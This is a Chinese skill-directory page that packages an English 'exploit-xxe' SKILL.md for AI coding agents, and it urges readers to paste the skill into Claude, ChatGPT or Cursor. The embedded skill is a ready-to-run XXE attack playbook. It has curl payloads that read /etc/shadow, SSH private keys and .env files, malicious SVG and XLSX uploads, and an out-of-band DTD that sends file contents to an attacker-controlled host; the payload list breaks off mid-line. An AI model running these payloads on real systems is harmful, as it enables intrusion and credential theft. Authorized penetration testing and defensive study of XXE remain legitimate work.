exploit-xxe
它能做什么
这份指南涵盖 XML 外部实体漏洞,即解析器被诱导读取本地文件或与其他服务器通信。适合处理 XML API、SOAP 服务和文件上传的开发人员和测试人员。
适用场景
- ✓当授权测试发现某个 API 或上传功能接受 XML 输入时。
- ✓当 SOAP 或 WSDL 服务解析来自外部来源的 XML 时。
- ✓当 SVG 或 Office 文档等上传文件在服务器上被解析时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/xxe/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“我们的上传页面接受 Office 和 SVG 文件。请帮我检查服务器的 XML 解析器是否可能读取它不应读取的文件?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体检查哪些端点接受 XML,然后在安全的测试环境中测试外部实体引用是否被解析,并报告结果。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
XML External Entity (XXE) Injection
Exploits XML parsers that process external entity definitions, enabling local file reading, SSRF, or denial of service. Common in SOAP APIs, XML file uploads, SVG processing, and any endpoint accepting XML input.
Detection
# Check for XML input acceptance
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><test>hello</test>'
curl -s 'http://<TARGET>/api' -H 'Content-Type: text/xml' -d '<root>test</root>'
# Check for SOAP endpoints
curl -s 'http://<TARGET>/?wsdl'
curl -s 'http://<TARGET>/ws?wsdl'
curl -s 'http://<TARGET>/service?wsdl'
curl -s 'http://<TARGET>/soap'
# Check for XML upload/processing endpoints
curl -s 'http://<TARGET>/' | grep -i 'xml\|upload\|import\|parse'
Basic XXE — File Read
# Read /etc/passwd (confirms XXE)
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>'
# Read sensitive credential/config files via XXE
for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa \
/var/www/html/.env /app/.env /app/config.py /opt/app/config.json; do
echo "=== $f ===" && curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' \
-d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file://$f\">]><root>&xxe;</root>"
done
# Read application source code
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/www/html/index.php">
]>
<root>&xxe;</root>'
XXE via SOAP
# Standard SOAP XXE
curl -s 'http://<TARGET>/ws' -H 'Content-Type: text/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///.env">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<query>&xxe;</query>
</soapenv:Body>
</soapenv:Envelope>'
# With namespace matching (adapt element names to WSDL)
curl -s 'http://<TARGET>/ws' -H 'Content-Type: text/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///.env">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://target.namespace/">
<soapenv:Body>
<ns:getData>
<ns:input>&xxe;</ns:input>
</ns:getData>
</soapenv:Body>
</soapenv:Envelope>'
XXE via File Upload
# SVG with XXE
cat > xxe.svg << 'SVGEOF'
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///.env">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="0" y="20">&xxe;</text>
</svg>
SVGEOF
curl -s 'http://<TARGET>/upload' -F 'file=@xxe.svg'
# DOCX/XLSX with XXE (modify embedded XML)
# 1. Create minimal XLSX with injected XXE in [Content_Types].xml
mkdir -p xxe_xlsx/_rels xxe_xlsx/xl
echo '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///.env">]><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>&xxe;</Types>' > xxe_xlsx/\[Content_Types\].xml
cd xxe_xlsx && zip -r ../xxe.xlsx . && cd ..
curl -s 'http://<TARGET>/upload' -F 'file=@xxe.xlsx'
Blind XXE (Out-of-Band)
# When entity value isn't reflected in response
# 1. Host evil DTD on attacker server (write to file, serve with python HTTP)
cat > /tmp/evil.dtd << 'DTDEOF'
<!ENTITY % file SYSTEM "file:///.env">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://<ATTACKER>:8888/?d=%file;'>">
%eval;
%exfil;
DTDEOF
python3 -m http.server 8888 --directory /tmp &
# 2. Send XXE that loads external DTD
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://<ATTACKER>:8888/evil.dtd">
%xxe;
]>
<root>test</root>'
# 3. Check listener for exfiltrated data
XXE via Different Content Types
# JSON endpoint that also accepts XML
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///.env">]>
<root>&xxe;</root>'
# URL-encoded XML in POST body
curl -s 'http://<TARGET>/api' -d 'xml=%3C%3Fxml%20version%3D%221.0%22%3F%3E%3C!DOCTYPE%20foo%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2F.env%22%3E%5D%3E%3Croot%3
常见问题
什么是外部实体?
它是一种 XML 功能,用于引入外部内容;当解析器允许这样做时,就会带来风险。
哪些文件类型需要注意?
该指南提到 SVG、DOCX 和 XLSX 上传,因为它们都是基于 XML 的格式。
主要的修复方法是什么?
在 XML 解析器中关闭外部实体处理。
详情
作者的原始描述
XML External Entity (XXE) injection — local file reading via XML parsers, SOAP/WSDL API exploitation, blind out-of-band exfiltration, SVG/DOCX/XLSX upload XXE. Use for any challenge involving XML processing, SOAP endpoints, WSDL services, or XML-based file upload parsing.
热度
- GitHub 星标
- 6.5k
- 排名
- #14089
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …